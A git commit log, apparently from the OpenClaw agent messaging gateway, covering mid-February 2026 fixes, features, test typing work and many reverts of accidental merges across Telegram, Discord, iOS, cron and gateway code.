* Enhance message delivery across multiple channels by implementing sticky reply context for chunked messages. This includes preserving reply references in Discord, Telegram, and iMessage, ensuring that follow-up messages maintain their intended reply targets. Additionally, improve handling of reply tags in system prompts and tests to support consistent reply behavior.

* Enhance read tool functionality by implementing auto-paging across chunks when no explicit limit is provided, scaling output budget based on model context window. Additionally, add tests for adaptive reading behavior and capped continuation guidance for large outputs. Update related functions to support these features.

* Refine tool-result context management by stripping oversized read-tool details payloads during compaction, ensuring repeated read calls do not bypass context limits. Introduce new utility functions for handling truncation content and enhance character estimation for tool results. Add tests to validate the removal of excessive details in context overflow scenarios.

* Refine message delivery logic in Matrix and Telegram by introducing a flag to track if a text chunk was sent. This ensures that replies are only marked as delivered when a text chunk has been successfully sent, improving the accuracy of reply handling in both channels.

* fix: tighten reply threading coverage and prep fixes (#19508) (thanks @tyler6204)
2026-02-17 15:32:52 -08:00
Peter Steinberger
75e11fed5d docs: update AGENTS instructions 2026-02-18 00:16:36 +01:00
Pablo Nunez
5acec7f79b fix: wire agents.defaults.imageModel into media understanding auto-discovery
resolveAutoEntries only checked a hardcoded list of providers
(openai, anthropic, google, minimax) when looking for an image model.
agents.defaults.imageModel was never consulted by the media understanding
pipeline — it was only wired into the explicit `image` tool.

Add resolveImageModelFromAgentDefaults that reads the imageModel config
(primary + fallbacks) and inserts it into the auto-discovery chain before
the hardcoded provider list.  runProviderEntry already falls back to
describeImageWithModel (via pi-ai) for providers not in the media
understanding registry, so no additional provider registration is needed.

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
(cherry picked from commit b381029ede)
2026-02-18 00:08:27 +01:00
Peter Steinberger
ae2c8f2cf0 feat(models): support anthropic sonnet 4.6 2026-02-18 00:00:31 +01:00
Peter Steinberger
a333d92013 docs(security): harden gateway security guidance 2026-02-17 23:48:49 +01:00
Peter Steinberger
dd4eb8bf63 fix(cron): retry next-second schedule compute on undefined 2026-02-17 23:48:14 +01:00
Peter Steinberger
c26cf6aa83 feat(cron): add default stagger controls for scheduled jobs 2026-02-17 23:48:14 +01:00
Peter Steinberger
b98b113b88 fix(ios): harden share relay routing and delivery guards 2026-02-17 23:47:34 +01:00
Peter Steinberger
442b45e54e fix(gateway): make health monitor checks single-flight 2026-02-17 23:47:29 +01:00
Peter Steinberger
96f7d35dd7 fix(gateway): block cross-session fallback in node event delivery 2026-02-17 23:47:24 +01:00
Peter Steinberger
4bd6a2b0d4 docs: tighten PR scope and review-size policy in vision 2026-02-17 23:40:09 +01:00
Peter Steinberger
3aa33f29e5 docs: tighten contribution guidance and vision links 2026-02-17 23:21:03 +01:00
Josh Avant
b20339a232 fix(signal): canonicalize message targets in tool and inbound flows 2026-02-17 14:17:22 -08:00
Peter Steinberger
9a2c39419e chore(release): bump version to 2026.2.17 2026-02-17 23:08:55 +01:00
Peter Steinberger
25a9e7ed97 docs(changelog): add missing 2026.2.16 entries and reorder by user impact 2026-02-17 23:05:08 +01:00
Shadow
2cf82c357e Docs: expand multi-agent routing 2026-02-17 14:28:08 -06:00
Mariano
bfc9736366 feat: share to openclaw ios app (#19424)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 0a7ab8589a
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-17 20:08:50 +00:00
Tyler Yust
81c5c02e53 changelog: add @tyler6204 credit for today's entries 2026-02-17 11:40:20 -08:00
Tyler Yust
75001a0490 fix cron announce routing and timeout handling 2026-02-17 11:40:04 -08:00
Tyler Yust
e1015a5197 fix(bluebubbles): recover outbound message IDs and include sender metadata 2026-02-17 11:39:58 -08:00
Nimrod Gutman
98962ed81d feat(ios): auto-select local signing team (#18421)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: bbb9c3aa48
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Reviewed-by: @ngutman
2026-02-18 03:16:10 +08:00
Tyler Yust
2362aac3db chore: document sessions_spawn response note and subagent context prefix 2026-02-17 11:05:37 -08:00
Onur
ab94295541 docs(slack): add assistant:write requirement for typing status 2026-02-18 02:22:54 +08:00
Sk Akram
c4e9bb3b99 fix: sanitize native command names for Telegram API (#19257)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: b608be3488
Co-authored-by: akramcodez <179671552+akramcodez@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-17 23:20:36 +05:30
Mariano
20a561224c iOS: use operator session for ChatSheet RPCs (#19320)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 0753b3a1a2
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-17 17:42:47 +00:00
Shadow
b251533e03 update my contributing list 2026-02-17 11:07:38 -06:00
Shadow
2e3219ff66 Update auto-response message for third-party extensions 2026-02-17 10:47:22 -06:00
Peter Steinberger
0978d63edd docs: add community plugins guide 2026-02-17 17:42:37 +01:00
Peter Steinberger
5923d3ff8a docs: add vision doc and link from README 2026-02-17 17:38:13 +01:00
Peter Steinberger
d85f0fc0c3 docs: refine maintainer application guidance 2026-02-17 17:38:13 +01:00
Peter Steinberger
dbda60d99b docs: add maintainer application section 2026-02-17 17:38:13 +01:00
Sebastian
2caf7e7612 docs(changelog): remove revert entries 2026-02-17 10:46:54 -05:00
Sebastian
e0e2184b90 test(release): add appcast regression coverage 2026-02-17 10:43:39 -05:00
Sebastian
19a8f8bbf6 test(cron): add model fallback regression coverage 2026-02-17 10:40:25 -05:00
Sebastian
e7c19cb52d test(telegram): cover autoSelectFamily env precedence 2026-02-17 10:10:32 -05:00
Seb Slight
9f261f592d revert: PR 18288 accidental merge (#19224)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 3cda31578c
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-17 10:05:29 -05:00
Sebastian
21978303a9 test(auto-reply): cover sender_id metadata 2026-02-17 10:02:26 -05:00
Sebastian
11fcbadec8 fix(daemon): guard preferred node selection 2026-02-17 10:01:54 -05:00
Sebastian
3f66280c3c test(sessions): add delivery info regression coverage 2026-02-17 10:00:08 -05:00
Sebastian
c0072be6a6 docs(cli): add components send example 2026-02-17 09:58:47 -05:00
Seb Slight
4536a6e05f revert(agents): revert base64 image validation (#19221) 2026-02-17 09:58:39 -05:00
Sebastian
bd1e7fadd5 test: cover cron telemetry and typed fetch mocks 2026-02-17 09:47:29 -05:00
Seb Slight
f44e3b2a34 revert: fix models set catalog validation (#19194)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 7e3b2ff7af
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-17 09:43:41 -05:00
Shakker
6bb9b0656f Tests: fix fetch mock typings for type-aware checks 2026-02-17 14:34:41 +00:00
Sebastian
dd0b789669 fix(mattermost): surface reactions support 2026-02-17 09:30:50 -05:00
Shakker
2547b782d7 Agents: add before_message_write persistence regression tests 2026-02-17 14:29:41 +00:00
Shakker
ae93bc9f51 fix(gateway): make stale token cleanup non-fatal 2026-02-17 14:29:41 +00:00
Seb Slight
3211280bed revert: per-model thinkingDefault override (#19195)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: fe2c59e222
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-17 09:25:18 -05:00
Sebastian
5d1bcc76cc docs(zai): document tool_stream defaults 2026-02-17 09:22:55 -05:00
Sebastian
7caf874546 test(update): cover restart gating 2026-02-17 09:20:21 -05:00
Sebastian
a19ea7d400 test(discord): cover auto-thread skip types 2026-02-17 09:19:04 -05:00
Seb Slight
afd78133ba fix(ui): revert PR #18093 directive tags (#19188) 2026-02-17 09:16:13 -05:00
Seb Slight
d54e4af4a1 revert(agents): remove llms.txt discovery prompt (#19192) 2026-02-17 09:15:01 -05:00
Sebastian
747403be9b docs(readme): remove Android install link 2026-02-17 09:14:09 -05:00
Mariano Belinky
b114c82701 CLI: approve latest pending device request 2026-02-17 14:08:04 +00:00
Sebastian
cc359d338e test: add fetch mock helper and reaction coverage 2026-02-17 09:02:39 -05:00
Muhammed Mukhthar CM
0e023e300e Revert: fully roll back #17986 templates 2026-02-17 13:57:50 +00:00
Shakker
e2a93db430 test(discord): fix mock call arg typing 2026-02-17 13:56:30 +00:00
Shakker
1ee64d6c72 Revert "fix(browser): handle EADDRINUSE with automatic port fallback"
This reverts commit 0e6daa2e6e.
2026-02-17 13:56:30 +00:00
Shakker
66f5a4c698 Revert "fix(browser): track original port mapping for EADDRINUSE fallback"
This reverts commit 8e55503d77.
2026-02-17 13:56:30 +00:00
Shakker
b0d4c9b721 fix(discord): preserve DM lastRoute user target 2026-02-17 13:56:30 +00:00
Sebastian
7884d65687 test(feishu): cover post mentions for other users 2026-02-17 08:53:25 -05:00
Sebastian
17c4a03e2b test(discord): cover audioAsVoice replies 2026-02-17 08:49:26 -05:00
Sebastian
9772a28f0e test(gateway): cover trusted proxy trimming 2026-02-17 08:49:16 -05:00
Sebastian
e74ec2acd3 fix(cron): add spin-loop regression coverage 2026-02-17 08:48:11 -05:00
Sebastian
366da7569a fix(cli): honor update restart overrides 2026-02-17 08:47:25 -05:00
Sebastian
dff8692613 fix(discord): normalize command allowFrom prefixes 2026-02-17 08:45:41 -05:00
Sebastian
96fb276481 docs(changelog): note webhook session reuse fix 2026-02-17 08:44:42 -05:00
Sebastian
72ab24a157 test(cron): cover webhook session rollover overrides 2026-02-17 08:44:42 -05:00
Sebastian
7fca92ea93 test(web): fix baileys mock typing 2026-02-17 08:44:42 -05:00
Sebastian
111a24d55c fix(daemon): scope token drift warnings 2026-02-17 08:44:24 -05:00
Sebastian
210bc37971 chore(subagents): add regression coverage and changelog 2026-02-17 08:40:36 -05:00
Muhammed Mukhthar CM
85b5ac8520 Revert: fully roll back #17974 zh-cn UI README 2026-02-17 13:31:38 +00:00
Mariano
836e77449c iOS onboarding: stop auth step-3 retry loop churn (#19153)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a38ec42bdd
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-17 13:12:53 +00:00
Mariano
0c87dbdcfc voice-call: harden closed-loop turn loop and transcript routing (#19140)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 14a3edb005
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-17 13:02:38 +00:00
Muhammed Mukhthar CM
bc4038149c Revert: undo #17974 README change 2026-02-17 12:23:26 +00:00
Nimrod Gutman
9f907320c3 Revert "fix: handle forum/topics in Telegram DM thread routing (#17980)"
This reverts commit e20b87f1ba.
2026-02-17 11:17:30 +02:00
Sam Padilla
32d12fcae9 feat(telegram): add channel_post support for bot-to-bot communication (#17857)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 27a343cd4d
Co-authored-by: theSamPadilla <35386211+theSamPadilla@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-17 14:44:18 +05:30
Nimrod Gutman
5db95cd8d5 fix(extensions): revert openai codex auth plugin (PR #18009) 2026-02-17 10:40:13 +02:00
Benjamin Jesuiter
19f8b6bf4f fix: searchable model picker in configure (#19010) (thanks @bjesuiter) 2026-02-17 09:15:55 +01:00
Benjamin Jesuiter
ddee6291eb Docs: add screenshot showing model picker usability issue 2026-02-17 09:15:55 +01:00
Benjamin Jesuiter
daef91800c Configure: improve searchable model picker token matching 2026-02-17 09:15:55 +01:00
Benjamin Jesuiter
01fcac0726 Configure: make model picker allowlist searchable 2026-02-17 09:15:55 +01:00
Ayaan Zaidi
900b97e3c7 test: type telegram action mock passthrough args 2026-02-17 13:30:29 +05:30
Ayaan Zaidi
7be63ec74a fix: align tool execute arg parsing for hooks 2026-02-17 13:30:29 +05:30
Ayaan Zaidi
f8b9e26c47 test: pass extensionContext in abort dedupe e2e 2026-02-17 13:30:29 +05:30
Ayaan Zaidi
1903c685c0 style: drop aidev-note prefix in telegram comments 2026-02-17 13:30:29 +05:30
Ayaan Zaidi
9d9630c83a fix: preserve telegram dm topic thread ids 2026-02-17 13:30:29 +05:30
Vignesh
f17b42d2f8 CI: remove formal models conformance workflow (#19007) 2026-02-16 23:52:24 -08:00
Nimrod Gutman
92de4031a3 Revert "fix(telegram): wire sendPollTelegram into channel action handler (#16977)"
This reverts commit 7bb9a7dcfc.
2026-02-17 09:45:08 +02:00
Nimrod Gutman
e727bca2dc Revert "Add Telegram polls action to config typing"
This reverts commit 5cbfaf5cc7.
2026-02-17 09:44:36 +02:00
Nimrod Gutman
33b59441d2 Revert "Fix Telegram poll action wiring"
This reverts commit 556b531a14.
2026-02-17 09:43:57 +02:00
Nimrod Gutman
b2fef5ebc4 Revert "Default Telegram polls to public"
This reverts commit c43e95e011.
2026-02-17 09:38:15 +02:00
Sascha Reuter
60dc3741c0 fix: before_tool_call hook double-fires with abort signal (#16852)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 6269d617f3
Co-authored-by: sreuter <550246+sreuter@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-17 12:53:54 +05:30
Ayaan Zaidi
583844ecf6 fix(telegram): avoid duplicate preview bubbles in partial stream mode (#18956)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: cf4eca71d4
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-17 12:36:15 +05:30
cpojer
5649e403df chore: Fix hanging test. 2026-02-17 15:56:51 +09:00
cpojer
73668bb963 chore: Fix broken test. 2026-02-17 15:54:17 +09:00
cpojer
bcf862f69f chore: Typecheck tests. 2026-02-17 15:50:07 +09:00
cpojer
048e29ea35 chore: Fix types in tests 45/N. 2026-02-17 15:50:07 +09:00
cpojer
52ad28e097 chore: Fix types in tests 44/N. 2026-02-17 15:50:07 +09:00
cpojer
688f86bf28 chore: Fix types in tests 43/N. 2026-02-17 15:50:07 +09:00
cpojer
7d2ef131c1 chore: Fix types in tests 42/N. 2026-02-17 15:50:07 +09:00
cpojer
6264c5e842 chore: Fix types in tests 41/N. 2026-02-17 15:50:07 +09:00
cpojer
3dc8d5656d chore: Fix types in tests 40/N. 2026-02-17 15:50:07 +09:00
cpojer
c4bd82d81d chore: Fix types in tests 39/N. 2026-02-17 15:50:07 +09:00
cpojer
084e39b519 chore: Fix types in tests 38/N. 2026-02-17 15:50:07 +09:00
cpojer
238718c1d8 chore: Fix types in tests 37/N. 2026-02-17 15:50:07 +09:00
cpojer
7b31e8fc59 chore: Fix types in tests 36/N. 2026-02-17 15:50:07 +09:00
cpojer
2a4ca7671e chore: Fix types in tests 35/N. 2026-02-17 15:50:07 +09:00
cpojer
ed75d30ad3 chore: Fix types in tests 34/N. 2026-02-17 15:50:07 +09:00
cpojer
49bd9f75f4 chore: Fix types in tests 33/N. 2026-02-17 15:50:07 +09:00
Ayaan Zaidi
f44b58fd58 style(telegram): format dispatch files 2026-02-17 11:26:14 +05:30
Hongwei Ma
7ffc8f9f7c fix(telegram): add initial message debounce for better push notifications (#18147)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 5e2285b6a0
Co-authored-by: Marvae <11957602+Marvae@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-17 11:21:49 +05:30
cpojer
2e375a5498 chore: Fix types in tests 32/N. 2026-02-17 14:33:38 +09:00
cpojer
116f5afea3 chore: Fix types in tests 31/N. 2026-02-17 14:33:26 +09:00
cpojer
f2f17bafbc chore: Fix types in tests 30/N. 2026-02-17 14:32:57 +09:00
cpojer
ecf1c955a1 chore: Fix types in tests 29/N. 2026-02-17 14:32:43 +09:00
cpojer
03e6acd051 chore: Fix types in tests 28/N. 2026-02-17 14:32:18 +09:00
cpojer
97c8f4999e chore: Fix types in tests 27/N. 2026-02-17 14:31:55 +09:00
cpojer
4235435309 chore: Fix types in tests 26/N. 2026-02-17 14:31:40 +09:00
cpojer
6e5df1dc0f chore: Fix types in tests 25/N. 2026-02-17 14:31:02 +09:00
cpojer
600022cdcc chore: Fix types in tests 24/N. 2026-02-17 14:30:36 +09:00
cpojer
be5b28cd6b chore: Fix types. 2026-02-17 13:40:17 +09:00
cpojer
d0cb8c19b2 chore: wtf. 2026-02-17 13:36:48 +09:00
Sebastian
ed11e93cf2 chore(format) 2026-02-16 23:20:16 -05:00
Sebastian
ca19745fa2 Revert "channels: migrate extension account listing to factory"
This reverts commit d24340d75b.
2026-02-16 23:17:13 -05:00
Shadow
e391827ea9 CI: use self-hosted for labeler/automation 2026-02-16 22:16:20 -06:00
Sebastian
f8adfcf60e test(agents): cover exec non-zero exits 2026-02-16 23:12:06 -05:00
Sebastian
4b40bdb98e fix(telegram): clear offsets on token change 2026-02-16 23:07:26 -05:00
Sebastian
65fa529e03 Revert "fix(whatsapp): allow per-message link preview override\n\nWhatsApp messages default to enabling link previews for URLs. This adds\nsupport for overriding this behavior per-message via the \nparameter (e.g. from tool options), consistent with Telegram.\n\nFix: Updated internal WhatsApp Web API layers to pass option\ndown to Baileys ."
This reverts commit 1bef2fc68b.
2026-02-16 22:59:37 -05:00
Sebastian
67014228cf fix(subagents): harden announce retry guards 2026-02-16 22:57:15 -05:00
Sebastian
f7d2e15a2e test: stabilize infra tests 2026-02-16 22:37:34 -05:00
Sebastian
759c7fc18e revert(voice-call): remove cached inbound greeting 2026-02-16 22:35:28 -05:00
Sebastian
950f36feff revert(voice-call): undo oxfmt formatting pass 2026-02-16 22:35:28 -05:00
Sebastian
833c646ec7 revert(voice-call): undo oxfmt formatting 2026-02-16 22:35:28 -05:00
Sebastian
ffe1ba68b9 revert(voice-call): undo cached greeting note 2026-02-16 22:35:28 -05:00
Sebastian
1486eb66fd revert(gateway): restore loopback auth setup 2026-02-16 22:35:27 -05:00
Sebastian
b7cf28f407 test(docker): cover browser install build arg 2026-02-16 22:35:27 -05:00
Sebastian
826e62a3bc fix(sessions): purge deleted transcript archives 2026-02-16 22:35:27 -05:00
Sebastian
52b624ccae fix(doctor): audit env-only gateway tokens 2026-02-16 22:35:27 -05:00
Sebastian
df8f7ff1ab docs(voice-call): document stale call reaper config 2026-02-16 22:26:31 -05:00
cpojer
cf6cdc74d0 chore: Fix types in tests 23/N. 2026-02-17 12:24:03 +09:00
cpojer
8d6e345338 chore: Fix types in tests 22/N. 2026-02-17 12:23:12 +09:00
cpojer
245018fd6b chore: Fix types in tests 21/N. 2026-02-17 12:23:12 +09:00
cpojer
18cc48dfd9 chore: Fix types in tests 20/N. 2026-02-17 12:23:12 +09:00
cpojer
e09643e82c chore: chore: Fix types in tests 19/N. 2026-02-17 12:23:12 +09:00
Sebastian
ecfc5a5ee7 test(agents): cover tool result media placeholders 2026-02-16 22:21:00 -05:00
Sebastian
68634468f5 chore(format): fix test import order 2026-02-16 22:18:03 -05:00
Sebastian
bfaa03981b test(voice-call): cover stream disconnect auto-end 2026-02-16 22:13:08 -05:00
Sebastian
78c3e5166b test(telegram): cover getFile file-too-big errors 2026-02-16 22:10:59 -05:00
Sebastian
d137f33281 test(status): cover token summary variants 2026-02-16 22:10:07 -05:00
Sebastian
def0254169 test(session): cover stale threadId fallback 2026-02-16 22:08:51 -05:00
Sebastian
7a00f056af revert(sandbox): revert SHA-1 slug restoration 2026-02-16 22:03:41 -05:00
cpojer
6b8c0bc697 chore: Format files. 2026-02-17 12:00:38 +09:00
cpojer
8ece8215aa chore: Fix types in tests 18/N. 2026-02-17 12:00:29 +09:00
cpojer
43c97d18aa chore: Fix types in tests 17/N. 2026-02-17 12:00:29 +09:00
cpojer
7bc783cb03 chore: Fix types in tests 16/N. 2026-02-17 12:00:29 +09:00
cpojer
a76a9c375f chore: Fix types in tests 15/N. 2026-02-17 12:00:29 +09:00
cpojer
db3529e924 chore: Fix types in tests 14/N. 2026-02-17 12:00:29 +09:00
cpojer
50fd2a99ba chore: Fix types in tests 13/N. 2026-02-17 12:00:29 +09:00
Sebastian
81fd771cb9 fix(gateway): preserve chat.history context under hard caps 2026-02-16 21:50:01 -05:00
Sebastian
f6e68b917b docs(cron): clarify webhook posting summary condition 2026-02-16 21:48:57 -05:00
Sebastian
6070116382 revert(exec): undo accidental merge of PR #18521 2026-02-16 21:47:18 -05:00
Sebastian
ae82371d8a revert(docs): undo accidental merge of #18516 2026-02-16 21:46:45 -05:00
Sebastian
3df8305cb6 fix(ui): gate sessions refresh on successful delete 2026-02-16 21:46:04 -05:00
cpojer
9c5f08244e chore: Format files. 2026-02-17 11:37:11 +09:00
Sebastian
391796a3fb fix(agents): restore multi-image image tool schema contract 2026-02-16 21:34:27 -05:00
Sebastian
966e5560f8 revert(telegram): undo accidental merge of PR #18564 2026-02-16 21:29:00 -05:00
Peter Steinberger
0c1c34c950 refactor(plugins): split before-agent hooks by model and prompt phases 2026-02-17 03:28:20 +01:00
Peter Steinberger
a75e95be02 fix(reply): track messaging media aliases for dedupe 2026-02-17 03:27:23 +01:00
Peter Steinberger
1f850374f6 fix(gateway): harden channel health monitor recovery 2026-02-17 03:26:26 +01:00
Sebastian
4aed4eedb7 test(extensions): cast fetch mocks to satisfy tsgo 2026-02-16 21:25:35 -05:00
Sebastian
f7e75d2c5c fix(doctor): repair googlechat open dm wildcard auto-fix 2026-02-16 21:25:35 -05:00
Josh Avant
81741c37fd fix(gateway): remove watch-mode build/start race (#18782) 2026-02-17 11:24:08 +09:00
cpojer
4b8f53979e chore: Fix type errors from reverts. 2026-02-17 11:22:49 +09:00
cpojer
262b7a157a chore: chore: Fix types in tests 12/N. 2026-02-17 11:22:49 +09:00
cpojer
e02feaff83 chore: Fix types in tests 11/N. 2026-02-17 11:22:49 +09:00
cpojer
058eb85762 chore: Fix types in tests 10/N. 2026-02-17 11:22:49 +09:00
cpojer
95f344e433 chore: Fix types in tests 9/N. 2026-02-17 11:22:49 +09:00
cpojer
5dc8983954 chore: Fix types in tests 8/N. 2026-02-17 11:22:49 +09:00
cpojer
ac38d51290 chore: Fix types in tests 7/N. 2026-02-17 11:22:49 +09:00
Sebastian
0aa28c71ca fix(doctor): move forced exit to top-level command 2026-02-16 21:20:05 -05:00
Peter Steinberger
901d4cb310 revert: accidental merge of OC-09 sandbox env sanitization change 2026-02-17 03:19:42 +01:00
Sebastian
f79cf3a01d revert: remove accidentally merged video-quote-finder skill (#18550) 2026-02-16 21:16:29 -05:00
cpojer
a78839e60c chore: Fix Slack test. 2026-02-17 11:15:15 +09:00
Sebastian
bb8df6ab8d revert(tools): finish rollback of PR #18584 2026-02-16 21:13:48 -05:00
Sebastian
f924ab40d8 revert(tools): undo accidental merge of PR #18584 2026-02-16 21:13:48 -05:00
Sebastian
0158e41298 Revert "fix: resolve #12770 - update Antigravity default model and trim leading whitespace in BlueBubbles replies"
This reverts commit e179d453c7.
2026-02-16 21:11:53 -05:00
Peter Steinberger
fb6e415d0c fix(agents): align session lock hold budget with run timeouts 2026-02-17 03:10:36 +01:00
Sebastian
ce4b4d947c revert(doctor): undo accidental merge of PR #18591 2026-02-16 21:09:49 -05:00
Sebastian
4147545469 Revert "feat: show transcript file size in session status"
This reverts commit 15dd2cda20.
2026-02-16 21:04:29 -05:00
Peter Steinberger
9789dfd95b fix(ui): correct usage range totals and muted styles 2026-02-17 03:04:00 +01:00
Sebastian
4ca75bed56 fix(models): sync auth-profiles before availability checks 2026-02-16 21:00:59 -05:00
Sebastian
fbda9a93fd fix(failover): align abort timeout detection and regressions 2026-02-16 21:00:27 -05:00
Peter Steinberger
f242246839 fix(subagents): pass group context in /subagents spawn 2026-02-17 03:00:01 +01:00
Sebastian
2b3ecee7c5 fix(actions): layer per-account gate fallback 2026-02-16 20:59:30 -05:00
cpojer
616c0bd4c7 chore: Cleanup unused vars that were leftover from the reverts. 2026-02-17 10:57:31 +09:00
cpojer
b3d9ecf4e4 chore: Fix types that were broken due to reverts. 2026-02-17 10:57:31 +09:00
cpojer
01ea808876 chore: Format files. 2026-02-17 10:57:31 +09:00
cpojer
003d6c45d6 chore: Fix types in tests 6/N. 2026-02-17 10:57:31 +09:00
cpojer
b6d4f7c00e chore: Fix types in tests 5/N. 2026-02-17 10:57:31 +09:00
cpojer
c49234cbfb chore: chore: Fix types in tests 4/N. 2026-02-17 10:57:31 +09:00
cpojer
1406b28469 chore: Fix types in tests 3/N. 2026-02-17 10:57:31 +09:00
Sebastian
3518554e23 fix(heartbeat): bound responsePrefix strip for ack detection 2026-02-16 20:56:55 -05:00
Peter Steinberger
c219c85df3 docs(changelog): record PR 18608 fixups 2026-02-17 02:56:45 +01:00
Peter Steinberger
afa5533253 fix(mattermost): harden react remove flag parsing 2026-02-17 02:55:46 +01:00
Peter Steinberger
d6226355e6 fix(slack): validate interaction payloads and handle malformed actions 2026-02-17 02:51:00 +01:00
Sebastian
bbb5fbc71f fix(scripts): harden Windows UI spawn behavior 2026-02-16 20:49:09 -05:00
Peter Steinberger
742e6543c7 fix(ui): preserve locale bootstrap and trusted-proxy overview behavior 2026-02-17 02:46:24 +01:00
Sebastian
accb673490 revert(telegram): undo accidental merge of PR #18601 2026-02-16 20:46:05 -05:00
Sebastian
3fff266d52 fix(session-memory): harden reset transcript recovery 2026-02-16 20:39:06 -05:00
Sebastian
f818de7bef docs(changelog): note slack forwarded attachment hotfix 2026-02-16 20:38:03 -05:00
Sebastian
3793424f5f docs(changelog): note process kill-tree hotfix 2026-02-16 20:37:22 -05:00
Sebastian
67250f059a fix(slack): scope attachment extraction to forwarded shares 2026-02-16 20:37:08 -05:00
Sebastian
fb996031bc fix(process): harden graceful kill-tree cancellation semantics 2026-02-16 20:37:08 -05:00
Gustavo Madeira Santana
7b172d61cd Revert "fix: respect OPENCLAW_HOME for isolated gateway instances"
This reverts commit 34b18ea9db.
2026-02-16 20:36:01 -05:00
Peter Steinberger
014a46d3fc Revert "fix: session-memory hook finds previous session file after /new/reset"
This reverts commit d6acd71576.
2026-02-17 02:34:09 +01:00
Gustavo Madeira Santana
a1538ea637 Revert "fix: flatten remaining anyOf/oneOf in Gemini schema cleaning"
This reverts commit 06b961b037.
2026-02-16 20:33:58 -05:00
Peter Steinberger
c0c367fde7 docs: clarify discord proxy scope for startup REST calls 2026-02-17 02:30:55 +01:00
Peter Steinberger
2992639f88 Revert "feat: add Linq channel — real iMessage via API, no Mac required"
This reverts commit d4a142fd8f.
2026-02-17 02:30:55 +01:00
Peter Steinberger
a36782e342 Revert "feat(linq): add interactive onboarding adapter"
This reverts commit b91e43714b.
2026-02-17 02:30:55 +01:00
Gustavo Madeira Santana
0d1eceb9cf Revert "Onboarding: fix webchat URL loopback and canonical session"
This reverts commit 59e0e7e4ff.
2026-02-16 20:30:03 -05:00
Sebastian
726ad45c75 Revert "fix: add windowsHide: true to spawn in runCommandWithTimeout"
This reverts commit 32c66aff49.
2026-02-16 20:27:32 -05:00
Gustavo Madeira Santana
22b2a77b30 Revert "fix(docker): ensure memory-lancedb deps installed in Docker image"
This reverts commit 2ab6313d99.
2026-02-16 20:27:19 -05:00
Gustavo Madeira Santana
63aa5c5a45 Revert "fix: remove stderr suppression so install failures are visible in build logs"
This reverts commit 717caa97fb.
2026-02-16 20:27:19 -05:00
cpojer
950d5a46b2 chore: Fix types in tests 2/N. 2026-02-17 10:26:49 +09:00
cpojer
0cf443afe8 chore: Fix types in tests 1/N. 2026-02-17 10:26:49 +09:00
Peter Steinberger
25126d75c3 Revert "Agents: improve Windows scaffold helpers for venture studio"
This reverts commit b6d934c2c7.
2026-02-17 02:26:36 +01:00
Gustavo Madeira Santana
37064e5cc6 Revert "feat(docker): add init script support via /openclaw-init.d/"
This reverts commit 53af9f7437.
2026-02-16 20:25:46 -05:00
Gustavo Madeira Santana
09c82a1fbf Revert "fix: capture init script exit codes instead of swallowing via pipe"
This reverts commit 8b14052ebe.
2026-02-16 20:25:46 -05:00
Peter Steinberger
83392d3927 Revert "fix(gateway): set explicit chat timeouts for mesh gateway calls"
This reverts commit c529e6005a.
2026-02-17 02:25:31 +01:00
Peter Steinberger
563df56389 Revert "config: align memory hybrid UI metadata with schema labels/help"
This reverts commit 7d8d8c338b.
2026-02-17 02:24:48 +01:00
Peter Steinberger
4fa35d3fd9 Revert "fix: use resolveUserPath utility for tilde expansion"
This reverts commit f82a3d3e2b.
2026-02-17 02:24:31 +01:00
Peter Steinberger
d4385e67aa chore(docs): drop accidental .DS_Store artifacts 2026-02-17 02:23:41 +01:00
Peter Steinberger
c65b3c2ed9 fix(docs): revert accidental es/pt-BR translation scaffold from #18473 2026-02-17 02:23:41 +01:00
Sebastian
6d451c8205 test(ollama): add reasoning fallback regression coverage 2026-02-16 20:20:47 -05:00
sebslight
